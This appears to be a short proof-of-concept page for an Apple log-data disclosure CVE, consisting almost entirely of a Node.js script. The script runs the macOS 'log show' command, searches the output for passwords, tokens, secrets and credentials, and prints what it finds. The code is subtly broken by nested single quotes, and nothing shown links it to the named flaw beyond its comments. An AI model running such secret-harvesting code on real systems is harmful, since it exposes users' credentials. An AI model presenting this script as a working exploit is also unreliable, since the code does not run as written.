CVE-2025-43538

// CVE-2025-43538 PoC - Log Data Access Example // This is a conceptual PoC demonstrating how a malicious app might access log data // Note: Actual exploitation requires specific conditions and local access // Example: Reading system logs via log utility const { execSync } = require('child_process'); // Attempt to read system logs (requires appropriate permissions) function accessSystemLogs() { try { // On macOS/iOS, logs can be accessed via log command // This PoC demonstrates the concept of log data access const logOutput = execSync('log show --predicate "processImagePath CONTAINS[c] 'Apple'" --last 1h', { encoding: 'utf-8', timeout: 10000 }); // Search for potentially sensitive data in logs const sensitivePatterns = [ /password/i, /token/i, /secret/i, /credential/i, /auth/i ]; sensitivePatterns.forEach(pattern => { const matches = logOutput.match(new RegExp(pattern, 'gi')); if (matches) { console.log('Potential sensitive data found:', matches); } }); return logOutput; } catch (error) { console.error('Error accessing logs:', error.message); return null; } } // Mitigation: Update to patched versions // iOS 18.7.3+, iPadOS 18.7.3+, macOS Sonoma 14.8.3+, etc.
